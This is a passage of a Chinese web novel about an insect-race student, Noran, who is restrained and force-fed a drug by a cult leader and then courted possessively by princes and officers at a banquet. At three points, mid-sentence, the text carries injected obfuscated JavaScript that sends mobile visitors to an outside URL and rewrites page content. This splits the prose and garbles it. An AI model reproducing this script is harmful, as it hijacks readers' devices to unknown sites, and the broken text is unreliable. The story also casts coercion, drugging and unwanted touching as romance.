诺蓝被按坐在躺椅里,他想起身,然而卡迪瑟斯却掏出手铐,把他拷在扶手的数控心跳检测器上。 诺蓝:“你干什么!” 卡迪瑟斯说:“你的精神力太低了,没办法在疏导其他虫之外再疏导一个我,所以我打算提升一下你的精神力,用药剂的方式。” 诺蓝紧张地咽了下口水,“原来你来暗区是为了给我提升精神力?” 卡迪瑟斯轻笑一声:“也不全是,不过我的事自然有属下替我去办,现在你的事比较重要,关乎于我的生活幸福指数。” 诺蓝:“你无耻!” 卡迪瑟斯颔首:“除非你能杀了我,可惜我给过你机会了。” 他示意独眼虫对诺蓝用针剂,针尖在诺蓝眼前晃过去,扎进了他的小臂。 然而监测精神力的机器并没有改变数值,老者苦恼地寻思了一下,“主人,我想他的基因可能很复杂,如果您想要给他提高精神力,需要提取血液样本,或者大脑切片。” 【大脑切片??】 【拌凉菜?】 “不不不!” 诺蓝晃动着手铐,然而,卡迪瑟斯已经俯身靠近了他,看着他的眼睛,极富威胁力的红眸闪出迷惑。 “你到底是什么虫?” “主人,他现在心跳很快,您还是先别逼迫他,慢慢来…”独眼老者说。 “出去。” 卡迪瑟斯冷声说:“把门关上,我自己来。” 老者不得已离开了密室,卡迪瑟斯解下手铐另一端扣在自己手腕上,挺拔有力的身躯自上而下压下去,遮挡住诺蓝视线里的一片雪光。 “你知道劣质虫母的唯一一个优点是什么吗?” 卡迪瑟斯晃着触须,盯住身下雌虫倔强的双眼,捏着他的下巴,轻声道:“劣质虫母能产出提高精神力的蜜。这才是暗区持续做基因改良实验的初衷,哪怕在过程中生产出变异体、畸形体、都没关系,只要有万分之一的概率能产出劣质虫母,我们并不介意和人类做交易。” “人类给我们提供样本人体,我们向他们输出能提高精神力的蜜。” “这才是暗区在做的事。” 诺蓝:“所以之前在污染区,那座废弃工厂,那只黄金甲壳的雄虫,都是你们留下的实验品?” 卡迪瑟斯:“是,可惜他是雄性,不是雌性,更不是虫母,他和他们的存在都毫无意义,除了虫母,这世界上所有的虫都没有存在的意义。” 真是狂热的虫母崇拜者…… 诺蓝:“那…你们还要继续做实验?” 卡迪瑟斯:“教团发展到现在的规模,不是简单的造出虫母就能解决问题的,军部和政府某些高级官员都横插了一脚,所以,实验是一定会在暗区的操控下进行的。” 诺蓝:“你和我说这么多,不怕我泄密?” 卡迪瑟斯:“你可以试试去到处说,不过,一个和暗区头目有过密切私交的雌虫说出的话,又有多少虫会相信?” 诺蓝气鼓鼓地瞪着他,卡迪瑟斯刮了下他的鼻尖,慵懒道:“我倒是可以给你保证,你是军校的学生,军校是你们的,我不会动你的地盘,只不过下次再路过的时候,我叫你,一定要出来,否则,我会进去绑你出来。” 卡迪瑟斯取出一管劣质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805784|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虫母的蜜,“喝掉它,再来链接我。” 诺蓝紧闭着嘴巴不喝,卡迪瑟斯手指分开两边,捏开他的脸颊,用管壁压着他的舌头,把一管蜜都喂了进去。 诺蓝咳了两声,然而,精神力检测仪还是显示F+。 诺蓝的精神力无法用药物来提升,只能靠和虫族一次又一次的精神力链接来提高,显然,诺蓝前些天刚刚疏导过其他虫族。 卡迪瑟斯捂着额角,沉默不语。 诺蓝以为他在生气:“现在你能放我走了吧?” 卡迪瑟斯却解开了他的手铐,转身离开了密室。 “手铐留给你,你回去吧,我会再来找你,希望下一次,你看见我会不这么紧张。” “还有你那把老的快掉牙的枪,扔了吧,明天,我派属下送你一把最新型号限量款的制式HK96手枪,要不要随便你。” # 诺蓝在心里把卡迪瑟斯骂了成千上万遍,他废了老大的劲,才搭乘热心虫族的飞行器,从暗区黑市回到巡回礼现场。 但是看在HK96的份儿上…… 他会保密的…… 呜呜,好没骨气啊怎么办! 诺蓝哼哼唧唧地刚从虫笼后台通道里跑出来,就看见了厄斐尼洛挡住了他的去路。 啊!不妙! 二皇子今天盛装出席,穿着银蓝相间的礼服,眉眼间的桀骜演变为森冷的戾气,在看见诺蓝的那一瞬就拦截了他,随即掐住了他的腰,扭身进了漆黑的狭窄巷道。 诺蓝被按在墙壁上,眼前一晃,定了定神,然后就怒了,“二殿下你…你不去看神圣虫母,在这里堵我干什么?我可没有虫母好看!” 厄斐尼洛顿时一股邪火涌上来,一口咬住他的耳垂,尖利的牙齿温柔地厮磨着,像要折磨诺蓝一样慢慢悠悠地含着咬着,恨不得咬掉那块肉,却只能强压着气焰、嗓音愠怒粗糙道:“我就问你,你、去、哪、了?” 诺蓝推着他的胸口,欲盖弥彰道:“我一直在后台啊,你别发疯,小心我打你!” “你打啊!” 厄斐尼洛握着他的手腕,举到自己脸颊旁,恶狠狠的嗓音,眸光里却闪着水色,“你最好打死我,我告诉你,你今天要是不把我打死,我绝不放过你。” 诺蓝一时间愣住了,手指蜷缩起来,这还没打呢,他怎么就…哭了? “二、二殿下?” 诺蓝磕磕绊绊说:“您雄父和兄长都在台上呢,你要是哭了,这我就解释不清了啊…” “你解释个屁。” 厄斐尼洛沙哑的低沉嗓音浓浓的不安,“我在后台根本没看到你,我还以为你出事了,诺蓝,你骗我。” 厄斐尼洛发泄似的含住了诺蓝的侧边脖子,就在大动脉附近,湿湿热热的舌头舔舐着略带薄汗的皮肤,诺蓝根本不敢动,双手不得不搭在他的后腰,被他狂甩的尾巴给吓到了。 这虫也真是奇怪,不去看神圣虫母,反倒是过来堵他? 难道是……厄斐尼洛知道卡迪瑟斯在里面?所以一直等在这里? 他毕竟是王虫权利集团的核心成员啊! 诺蓝才刚有了这么一点点猜测,就感觉到后颈附近一片湿漉漉的潮意,像是雨滴,噼里啪啦掉进他的衣领。 “别再拿神圣虫母敷衍我,他们在乎,我不在乎。” “…………” “呵,觉得我是异类吗?” “随你怎么想。” 厄斐尼洛带着浓厚鼻音的嗓音说:“我要你今天都待在我身边,这是一级军令,你敢不听我的话,我就用尽一切手段惩罚你,别以为我舍不得对你怎么样,我说到做到。” 22. 第 22 章 诺蓝不太擅长应对雄虫在他面前流眼泪的情况,最终的结果就是为了哄二皇子,揉了揉他的脑袋。 诺蓝在心里劝自己要想开。 【要接受每个虫有每个虫的独特习性,比如细腻、内向、狡猾、狂放,厄斐尼洛恰好是个不服从管教、但心地善良的雄虫。】 【他灵魂底色如此,清澈明亮、且深邃,他不需要为了任何虫改变个性,我也正是欣赏他这一点。】 【我喜爱他的反叛,也喜爱他的狂妄,因为我没有。】 【我是一个谨小慎微的虫族,但我也很喜欢我自己。】 【所以他想抱我也没关系,我会允许他,给他纵容他的权力。】 厄斐尼洛的身影在黑暗里透出某种不拘的凉色,浓密的眉毛叛逆地稍稍向上扬起,桀骜中又夹杂倔强的情绪。 一双黄金瞳目光清澈,其中却又藏匿着军工领域虫族少有的自我觉醒,长长的睫毛温顺地附在他的眸子上,透出一股不可抗拒的贵族骄傲气息。 厄斐尼洛其实已经在微微低着头,配合诺蓝的抚摸了,他不知道该怎么形容心中的悸动,但现在他连虫翅都暖成雾气。 厄斐尼洛很讨厌别的虫碰他脑袋,只有他雌父摸过,雄父没有。 雄父并没有爱过他,身为王虫,利雅德有数不清的雌君,也有无数个幼子,除了他和古拉德,其他年幼的虫都是平平无奇的低等级精神力,他看都懒得看一眼。 可是诺蓝… 厄斐尼洛深吸一口气,脸颊可疑地露出红晕。 诺蓝虽然也是低劣的F级,但好像就能掌控一切意外事故,永远那样温柔、平和、冷静。 说句不可思议的,能从卡迪瑟斯手里安然无恙离开的虫,诺蓝是第一个。 今天本来想质问诺蓝那天工厂分别之后跑哪去了,让他找了那么久,不论是突袭队营地或是特战队营地都没有诺蓝的身影,他本来想抓住诺蓝,狠狠欺负一通的,最好把这个一向柔软如水的雌虫压榨出眼泪,再一颗颗把他的泪水舔舐。 但是现在,他又不想欺负诺蓝了。 厄斐尼洛抱着这种很矛盾的心态,攥住诺蓝抚摸他头发的手,说话的时候,口器在腔壁里摩擦出的悉悉镲镲的声音藏都藏不住: “…小可爱,离卡迪瑟斯远一点。” 诺蓝的手腕被囚禁于雄虫的多节虫骨之间,完全不能动,厄斐尼洛压抑着怒火,冷静往前一步,一条腿卡在他腿中间,忿然地蹭了下他的发丝: “我想我是个自私的虫,虽然你没有承认我的喜欢,但我想,我已经沉沦成了你的追求者,我居然喜欢上了一个普普通通的F级,好不好笑?我的高等种基因居然无法支配我的脑子了。 我承认我高傲,我也愚蠢至极,我不该说这种高高在上的话,惹你讨厌,但我也不想欺骗你。 小可爱,卡迪瑟斯的事你应该也了解了不少,别爱上他好吗?我会想要杀了他,抠出他的眼睛,祭奠那只虚假的虫母。” 厄斐尼洛觉得朝拜劣质虫母的虫很可笑,最可笑的是,有那么多虫拥护猩红教团,明明已经知道、也确认了虫母再也不会回来的事实,偏偏有一群傻逼相信教团的洗脑式发言,让暗区大头目赚得盆满钵满。 军部每年下发给各星系、各军区的资金也有限,教团敛财程度超出现象,以至于,军部里最有实力的远征军集团背后也有教团资本的参与,平时训练这种苦逼的时候,都换上了最高端的机甲装备,其他军区眼红眼热,但苦于没有资本助力。 猩红教团背后的资本众多,纷杂纷乱,连星盗都有资金投入,妄图造出一款全民新虫母。 除了王虫集团,数首都星区和蝶族资本最强。 梅·圣恩和贝利尔·圣恩那两兄弟,财力雄厚,整个机甲队奢华残暴,机甲堪比军区的武器装备。 至于其他军区的军虫们,还在勤勤恳恳枯燥训练,赚贡献点,在婚姻分配中心留下档案,或者在非法代/孕机构、政府捐精中心留下档案,尤其是那些低劣的虫族,妄图生下一个高等种改变家族命运。 但是高等种的虫精要用三十年的贡献点来换,有多少虫族能在军队里活过三十年? 所以大多数虫就只想过好当下的每一天,活过一天是一天。 …就这种状态,居然还妄想着造出虫母来救他们? 做梦。 厄斐尼洛根本不信虫母会被这群资本商造出来,对他们幻想被虫母爱的行为嗤之以鼻。 厄斐尼洛后撤一步,给诺蓝留下能自由呼吸的空间,对方被憋得脸颊通红,冬夜寒星似的瞳眸,明澈中略带柔情,急促呼吸着:“…二殿下,咱们能走了吗?再不走,庆典都结束了。” 厄斐尼洛着迷似的俯身,手指曲起蹭掉他唇角的水渍,诺蓝往后躲了躲,紧接着那只手指就得寸进尺地捏住了他的脸蛋,诺蓝难过地皱眉,妄图拜托雄虫的手,然后那指腹就在他的脸蛋上留恋地蹭了蹭,似乎在贪图柔软。 “能走。”厄斐尼洛定了定神,欠身,向诺蓝伸出手,“你的承诺呢?” 诺蓝只好牵住他的手,“行了吗?” “真乖。”厄斐尼洛唇角微扬,牵着诺蓝的手离开。 # 实战系的虫做梦都没想到,诺蓝会和厄斐尼洛一起出现,看起来,厄斐尼洛的眼圈红了,不知道是不是小可爱把他爆揍了一顿。 众虫:死亡玩笑啦呵呵…都知道厄斐尼洛脾气暴躁,上一个惹他生气的虫已经被空投到外星系,在黑洞里喂星球残渣了。 不过平时就臭着脸的雄虫谁都惹不起就是了。 古拉德是唯一一个会在这种时候打趣厄斐尼洛的,他走到他幼弟身旁,玩味的声调性感清冽:“诶呀,小尼洛怎么哭鼻子了?难道是大胆示爱被小雌虫给拒绝了?” “……” 厄斐尼洛抿了下嘴唇,僵硬地扭过头,“你闭嘴,我的事不用你管。” 古拉德弯眼一笑,眼尾的泪痣像蝴蝶的翅膀:“啊,我懂我懂,小屁孩的自尊心嘛,我猜你又要说:滚开,我的事和你有什么关系?你管好你自己的烂摊子别来烦我!有多远滚多远我再也不想见到你! 但是现在不一样,你看你还牵着诺蓝,他胆子小,会害怕你的。” 刚刚一枪崩了卡迪瑟斯的诺蓝随声附和:“是啊是啊,二殿下生气的样子像火山喷发!” 【我好害怕啊哈哈哈哈,不行我不能笑…憋住、憋住…噗哈哈哈我憋不住啊,请饶恕我!】 厄斐尼洛的脸色更难看。 古拉德忍不住笑出声,抬起眉,微微喘息着: “放轻松,尼洛,我觉得他在开你的玩笑,别当真,其实他对你已经很温柔了不是吗?他还在牵着你的手,我跟他都没有这么亲近过呢。” 看上去古拉德刚经历过一场战斗。 察觉到诺蓝的视线,古拉德若无其事说:“神圣虫母在附近坐花车游街的时候,斗兽场里不小心跑出来一只变异虫族,我已经处理干净了,别担心。” 银白长发的雄虫擦着手臂制服上的血渍,唇角似笑非笑带着疼痛的忍耐,只有走近了才能发现,雄虫周身遍布血雾,眼底的肆虐快要藏匿不住,眼裂泛起滚滚殷红。 “好像,和我们一样没在看神圣虫母的还有一位?” 古拉德苦恼的说:“难道神圣虫母的虫蜜无法满足那些虫族吗,一个个地都想要更美味的蜜源…噢,小可爱,不是说你,你虽然不是蜜源,但你比蜜源还要甜美,一定要担心,某些不怀好意的雄虫把你当作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14805785|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取之不尽的蜜源呢。” 诺蓝呼吸一滞,不可置信地摇了摇头。 【不不不,在你们这群高等种的眼里,我不应该是不值钱的小东西吗?别用这种恶龙看藏宝窟的眼神看着我,在这个弱肉强食的世界,我只能依靠队长了呜呜呜…】 古拉德唇角一勾,露出一抹温和的笑。 品级低劣的蜜源,居然得到了众多高等种的抢夺? “唉,好吧,谁让现在艾尔法才是你的队长。” 古拉德惋惜地用尾巴挑起了诺蓝的下巴,“小诺蓝,都怪你太可爱了,真想把你带回王庭里养。” “我会好好对你的,考虑一下吗?” “……”诺蓝愁眉苦脸地抓着他的尾巴,因为很痒,古拉德欣赏着小雌虫到处躲避的模样,一转眼就到了天黑。 # 该去庆典宴会现场了,但是艾尔法依旧没有找到诺蓝。 艾尔法终于离开了军部几位元帅和上将的热情寒暄,他其实不擅长这种热络的场合,但碍于帝国军事学院的头衔,他不得不耐着性子,听他们对于虫母的长篇大论,其中夹杂着老雄虫对未知母亲的性憧憬,令他作呕。 他们还介绍家族里的雌虫给他相亲,但是艾尔法都拒绝了,以前他的心思就没在这上,现在更不在了。 他在找诺蓝,那个随时都可能消失的F级雌虫。 艾尔法顺便冷着脸拒绝了特战队的跟随,独自来找诺蓝。 但是,他停在诺蓝和两位殿下的远处,随后若无其事一般缓步走过去。 他和诺蓝有过一次深层链接,他想到过会有这一天,其他虫族也会想要深度链接,刚才从机甲队的摩提奈和里奥身边路过的时候,他问到了诺蓝的费洛蒙气味。 那一晚上,他们有可能进行过次深度链接,费洛蒙的残留一点也没有减少。 今天是个特别的节日,每个虫族都对虫母阁下无比渴望,每年激情犯罪的高发期也在这几天,雄虫们一旦发现哪些雌虫具备虫母的温柔气质,就会私下里对雌虫强行占有,满足心理空落落的失落感。 艾尔法对那些被激素控制的虫族没有同情心。 他也在强行克制自己的占有欲,他知道这样会惹起诺蓝的厌恶,所以尽量保持着冷静的头脑,尽管掌心都被掐出血。 本能驱使他以最平静的模样来到诺蓝身边,但是诺蓝径直越过了雄虫们,像嗷嗷待哺的幼虫一样扑到了他胸前。 “队长!” 艾尔法告诉自己不要将小可爱狠狠压在自己的胸膛上,他的怀抱冰冷坚硬,雌虫不会喜欢被嵌进身体里的力道,他会觉得痛。 诺蓝看到了艾尔法的神情,不由得觉得可怕。 “队长,你怎么了?” 艾尔法的身体一直很坚硬,但这次就很紧绷,有种…强忍着什么冲动的意思。 诶呀,这倒是艾尔法的风格啦,有情绪也忍着什么的,可能是他一直对自我要求很苛刻,所以有情绪也不肯发泄出来吧。 总不会是害怕的对吗? “你失踪了一整天,早知道就不该……” 艾尔法的中断话语让诺蓝很费解,但是手臂却先大脑一步做出了反应,诺蓝很费力地环抱住了艾尔法的腰背,实在是太强壮了这只雄虫… 雄虫的背脊在颤抖,一对格外坚硬冰冷的蝉族翅膀接受着小雌虫温情的抚摸。 但是雄虫仍旧是回抱住了他的腰,很温柔的力道,轻轻松松将身体像银剑一般单薄削利的诺蓝搂进怀里。 “我又没有责怪你啊队长,你别这样,”诺蓝软软的安慰忍得够呛的雄虫,“宴会有什么好吃的吗?我好饿,想吃东西,今天晚上我就陪着你,就在你眼皮子底下,别搞得像我总是跟虫跑了一样……” 23. 第 23 章 = * 晚宴邀请了身在首都星的知名高等种们,地点设置在王虫的甘泉行宫,大家都身穿盛装出席,诺蓝对着镜子整理了一下自己的军装,觉得纯白色的军校生制服才是虫族潮流本色! 别误会,他能参加顶级规模的权贵晚宴,不是说他多么多么招虫待见,而是因为脑瓜顶上的金字招牌: 帝国军事学院指挥系的学生! 这年头,学历才是硬通货,哪怕是精神力低级、血统没得到认证的F级也能进入高端宴会,全凭万里挑一的稀罕实力。 诺蓝:我吃吃吃吃吃吃! 系统:“……虫母阁下,您可是虫母阁下,整个虫族最高贵最稀有的5A级品种,您有点出息行吗?” 诺蓝乌黑的大眼睛眨巴眨巴:可是我饿…[可怜巴巴.gif] 系统心软,迅速把宴会厅各个区域都有什么美食的攻略推荐给诺蓝,并且发送了一款美食地图。 诺蓝双手贴在裤线上,以最佳军姿路过各个展台,若无其事地和贵族虫们点头打招呼,谦逊斯文的模样,顺便挑选自己喜欢的食物,背过身去,迅速搁进嘴巴里…… 吧唧吧唧…哇,好吃! 已经变成虫母阁下毒唯的系统对诺蓝的生理健康非常关照,诺蓝刚结束结皮期,现在进入了第二个发育阶段,变态期。 哦别误会,只是说现在的小诺蓝需要服用蜂王浆、蜂蜜和蜂花粉,它已经把所有的食物都标记好了,看着诺蓝吃东西的样子让系统感到无比治愈… 诺蓝在宴会现场到处闲逛,看见冻冻草果茶也觉得好,看见炭烤蝉翅也觉得好吃…呃,就是有点对不起队长。 大家都在觥筹交错地交际,只有诺蓝看上去很忙,左手端着茶杯,右手在新鲜的浆果干里翻翻找找,据说晒够365天的浆果才能干成月球表面的坑坑洼洼模样,甜到直窜天灵盖。 毕竟没有虫在意这个路人甲,没家世没背景,精神力F级的普通虫一只,路过盯着他看的,则都把目光聚焦在了他的脸上。 系统:“不过话说回来,虫母阁下,上层对血统的顽固在此刻暴露无遗,你们虫族真的是唯血统论和唯精神力论盛行的奇怪地方,野蛮和文明碰撞的世界!” 诺蓝吃东西的过程中,抽空给系统讲自己种族那点事。 “其实,所谓“高等种”的概念起源于古代,指的是初代虫母孕育的子嗣所衍生出的家族,虫母的子嗣从出生起就被虫母链接过,精神力天生优越于其他虫族,是战斗的一把好手。 但也并不是所有虫卵都有较高的精神力,虫母会放弃孵化那些卵,精神力高的虫族还是幼虫的时候就学会弱肉强食,他们就将那些精神力较低的虫卵挤出了虫巢。” 这个也好吃,嚼一口。 “……然后然后,那些低级的虫卵也有携带虫母基因的雌虫,拥有生育能力,他们在田野里生活,顺便和各族虫们建立一段婚姻关系,生育后代。 一直到千万年以后的星际时代,虫族的文明飞速发展,有一部分高等种抛却了血统观念,和低等种进行了通婚,繁衍了血统更为新派的新时代虫族,也就是以家族制度存在的当代虫族,更扩充了高等种的定义。” “不过呢,也有一直保持着古老种族血统论理念的虫族,他们被称为贵族,迦许的家族就是其中之一,看似没有在虫族的军政领域付出什么功劳,但其实祖上富了无数代,根脉也已经深深扎进了虫族的领土。” 帝国军事学院的校长带着学生们走进宴会厅,诺蓝赶紧擦干净手跑进队伍里,顺便看见了校长身边的迦许。 迦许:一款穿着豪华晚礼服但是一眼就被看出美丽外表下隐藏着坏心眼的雄虫。 迦许当然也看见了诺蓝,他不动声色地把诺蓝拉到身边,“校长,诺蓝来了。” 【在场有迦许的家虫,糟糕,我如果被他欺负,没虫给我撑腰。】 【我再强调一遍,我就是个F级,不该承受这种委屈,校长大人,拜托拜托,不要总是把我拉到迦许身边!】 校长本来还有点犹豫要不要把诺蓝带着,但现在:很好,小家伙,就你了。 校长慈爱地笑了笑,“诺蓝,跟在我身边,别走丢了。” 诺蓝只好假装乖巧地点点头,“需要我做什么,校长先生?” 校长摸了摸他的小脑袋瓜:“你什么都不用做,等一会儿王虫陛下的演讲结束,你们玩的开心就好。” 诺蓝乖巧地应了一声,迦许正巧被一位衣着光鲜的贵族虫叫走,迦许的脸色变得很难看,但还是跟着走了。 诺蓝松了一口气,谢天谢地,虽然有那么点怀疑…不过迦许走后,梅队长和艾尔法接替了他的陪同位置,这倒是让诺蓝少了许多紧张。 迦许那种老式贵族家族出来的雄子,总是给虫礼仪上的压迫感,该说不愧是大家族出来的雄虫吗? # 帝国始终是弱肉强食的猎杀场,王虫的地位至高无上,他在演讲的时候,诺蓝被夹在艾尔法和梅之间,频频走神。 抱歉,虽然是这样严肃的场合,但看在诺蓝眼里,这里简直是一片瓜的海洋! 【这位元帅我曾在星网上见过,真虫好帅啊…可惜是个变态!收集了一堆虫母手办,对触手系幻想虫母情有独钟,其中一根触手是中空的,尺寸很微妙,恰好可以放进他的——】 红眸闪烁的元帅大惊失色! 他立刻单膝跪下,虽然还没到他汇报,但他已经感觉到王虫的眼神不太对了! “王虫陛下,今年寻找虫母阁下的队伍仍在进行中,已经搜到了南极星系,相信不日就会有结果!” 诺蓝特别想打哈欠。 【有什么结果啊?队长自己都是虫母的私生,恨不得找到虫母就私吞,特遣队的雌虫找吐血都找不到,还要拿钱买职位升官。】 元帅眸色更红,怪不得总是找不到!他知道该怎么做了,今晚就罢免那个中饱私囊的队长! 元帅看向诺蓝,后者无辜地犯着困,一旁金色长发的温柔雄虫扶了他一下,他立刻惊醒,抱歉地笑笑,然后接着站直了。 元帅想,今晚应该送给他一些礼物,要么就,S级机甲?希望这小家伙会喜欢。 当晚诺蓝装备库里就多了好几台S级机甲,元帅还附赠发给他一段视频,先是邀请他毕业后来自己军队里任职指挥师,最后躲避着他的双眼,语气低沉地说:“以后有什么困难,向我开口。” 诺蓝无比震惊,但是欣然接受! 当然这是后话。 执政官推了推眼镜,用冷静并且毫无情绪波澜的语调报告着今天节日的活动总结。 他已经习惯了通读长篇大论,毕竟王虫也听不懂,他按照光脑上的总结直接讲就好了,无虫会在意。 【这个执政官也好帅!完蛋,我该不会是这世上唯一一个花痴吧?】 执政官的心尖腾地一颤。 然后嘴角忍不住翘起来。 没有虫不喜欢被夸,尤其是被小可爱夸。 还是有虫懂得欣赏他的工作内容的。 王虫陛下也听见了诺蓝的心声,不过他到还挺有兴趣听下去的,心情无比舒畅。 王虫忍住想要看诺蓝的冲动,只能装作随意地看了那孩子一眼。 真的是很优秀的年轻军虫,身材很高挑,腿长特别出众,在腰际下方全是腿的感觉,按照诺蓝的体脂率来看,他应该全身上下都保持着一种挺拔清瘦的状态,看不出身材,可是他却有腰,在肋骨和大腿中间掐出了一道很明显的腰线。 他的身体也很薄,站在光影里,就像一把剑插在光怪陆离的黑暗角落,折射出一道通往红毯远方的利刃光芒。 虽然是F级,但看上去完全不柔弱。 王虫更想要收他做自己的养雌子了,媒体都报道他对自己的雄子们不太关爱,这也没错,他承认。 雄子天生就该去上战场,太多的疼爱会成为溺死他们的罪魁祸首。 而雌子…王虫没有雌子,如果有的话,他想,他也不是会疼孩子的雄父,但他可以慢慢学。 # 会议结束后,王虫带着勤政官和执政官离开了现场,问起迦许:“迦许那孩子怎么不在?” 执政官和勤政官对视一眼,都不清楚迦许那大少爷去哪了。 # 迦许和他的雄父仍在行宫的后花园喷泉池旁,雄父冷然的气场和他十分相似,经过一个小时的谈判,俩虫终于谈崩了。 迦许恹恹地双手插兜,转身要走。 “迦许,你可以选择不联姻,但你也不能选择爱上一个低等种,这是我们家族的底线。” 迦许站住脚,但也只停顿了一下,雄父冷淡的命令在后方响起:“我听说你最近对一个低劣的雌虫很感兴趣,他叫诺蓝是吗?长的倒是挺好看的,你喜欢谁我不管,但不要忘记你是家族的成员,财富、地位、领星你都享有,你不该和低等种厮混在一起。” 迦许冷笑,十分讥讽:“是吗?可惜我不会和一位刚刚演讲时还在后台和雄虫偷腥的雌虫联姻,与其这样,我宁可不结婚。” 雄父脸色难看,“这虽然是事实,但哪来那么多爱情?联姻可以是基因匹配结果、可以是贡献点兑换的物品,唯独不能是随心所欲的爱情,除了爱虫母,虫的一生应该为帝国奉献全部,哪怕是生育率。” 迦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14805786|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许却不再回答,头也不回地离开了,他走到宴会厅的台阶上方,看着下面来来往往的虫,脑子里忍不住想起诺蓝,更加烦躁。 不知道怎么了,他最近夜里总是梦见诺蓝,诺蓝出任务出了这么多天,他总会在军校里的某些角落幻视诺蓝还在校园里。 这是基因的吸引,还是大脑的选择,迦许也说不清,所以他选择走近梦核试试。 = * 王虫走后,晚宴才正式开始。 诺蓝被特战队的队员拉着一起喝酒,虽然是果酒,但也喝了不少,恍恍惚惚看见迦许朝他走过来,似乎跟艾尔法说了什么,然后迦许就把自己借走了。 “队长?”诺蓝半醉半醒,软软地叫艾尔法,“干嘛让我走呀?” 诺蓝喝醉了,半醉半醒间连语调都软绵绵的,艾尔法凛冽的眉峰陡然温和下去,“迦许会长和你有话说,你去吧,我会站在原地,等你回来。” 诺蓝挠头,“唔”了一声,他还记着答应过艾尔法的,今晚要陪着他这回事,所以跟迦许出门的时候,还特意爬到艾尔法背上,趴在他耳朵边小声说:“等我回来才能睡觉哦,队长!” 艾尔法忍住立刻反悔抱走诺蓝的冲动,脖子僵硬地点了点头,眼睁睁看着迦许把醉醺醺的小蜜蜂带走了。 # 诺蓝身上有很重的蜂蜜味,混杂着果酒的气味,香得像是一场梦。 诺蓝抬起眼皮,迷蒙的目光散发几分无辜的懵懂气息,“你干嘛啊,会长?” 亏得他还记得迦许是他的学生会长。 迦许近乎于失控地把诺蓝抱起来,放到喷泉山后方的雪白石台上,修长有力的手臂线条绷起,捏成拳头,重重抵在诺蓝腿侧的台沿。 诺蓝猝不及防地搂住他的脖子,骤然腾空,酒都醒了大半,紧张地左右看:“会长,你这是被下毒了吗?我去找盖亚给你解毒…” “不,是下蛊了。” “你下的,你负责。” 迦许情绪低落地说,把额头埋在诺蓝的肩膀,感受到冒着热气的颈窝,他的嘴唇难以克制地亲吻着那片柔嫩白皙的肌肤,含糊不清地责怪说:“…小可爱,为什么这么久都没来见我?明明有那么多机会,你知道我就在你宿舍楼下,你去学生会,也能找到我。” 诺蓝可怜兮兮地缩成一团,承受着激烈沉重的亲吻,又怕被听见被看见,只能压低声音说:“不不不,会长,我最近很忙的哇,我在执行任务,又不是在摸鱼,差点就死了,很危险的!等回到军校,我去学生会报道不就好了?你是不是也喝醉了?” 迦许没喝酒,但是把雌虫身上的蜜味深深吸进肺里,就觉得醉了,“…我可没有担心你,我是怕你走了,学生会属于你的位置就空了下来…你和艾尔法现在很好吗?你对他不错。” 诺蓝没想到他会这么直说,手足无措地抚摸着他的背,“我跟队长很和谐啊,我们很合拍啊,但是你、你也很好啦,不要这样难过,他是我队长嘛,我肯定要跟他客客气气的。” 客客气气? 这个词诡异地取悦了迦许。 诺蓝被迦许紧紧抱住,听见他低沉磁性的嗓音不甘道:“我是你的会长,我不要你客客气气,我要求你对我放肆一点。” 诺蓝到现在都还是一头雾水,但以哄好他为目的。 他好脾气地说:“…好、好啊,都听你的啦。” 蛾族的后背总像是钢板一样硬,在两肋后方竖起来,闪来闪去,蛾族们柔软而手感细腻的翅膀在夜色星光下熠熠闪闪,像流星划过暗夜。 诺蓝欣赏着这样的美景,同时,趁迦许情绪高涨,和他进行深度链接。 迦许今夜很怪异,诺蓝不是个喜欢窥视他虫私生活的虫,所以他没有过问,只是抱住了他,安抚着他的情绪:“会长,虽然不知道刚才在你身上发生了什么,但是请不要伤心,你永远有选择做自己的权利,不需要给任何虫弯腰。” 迦许的身体就在这一瞬间剧烈颤抖起来,大着胆子,盯着诺蓝的眼睛:“可是我想成为…某些虫会喜欢的样子。” 诺蓝心很大地安慰他:“喜欢你的虫,不介意你是什么样子,别伤心啦,开心一点。” “是吗?”迦许疑惑道,“那你介意吗?” 诺蓝还记得迦许喜欢作弄他,把这句话当成了玩笑,揉了揉他红色的头发,顺便撸了下他的触须,“不介意啊,会长你这么优秀,不管怎样都很棒。” 我只要你喜欢。 迦许默默的想,其他虫怎么想,全都不重要。 让那些高等种的歧视都去死吧。 迦许一口含住诺蓝柔软的耳垂的时候,愤恨又酸楚地想道。 24. 第 24 章 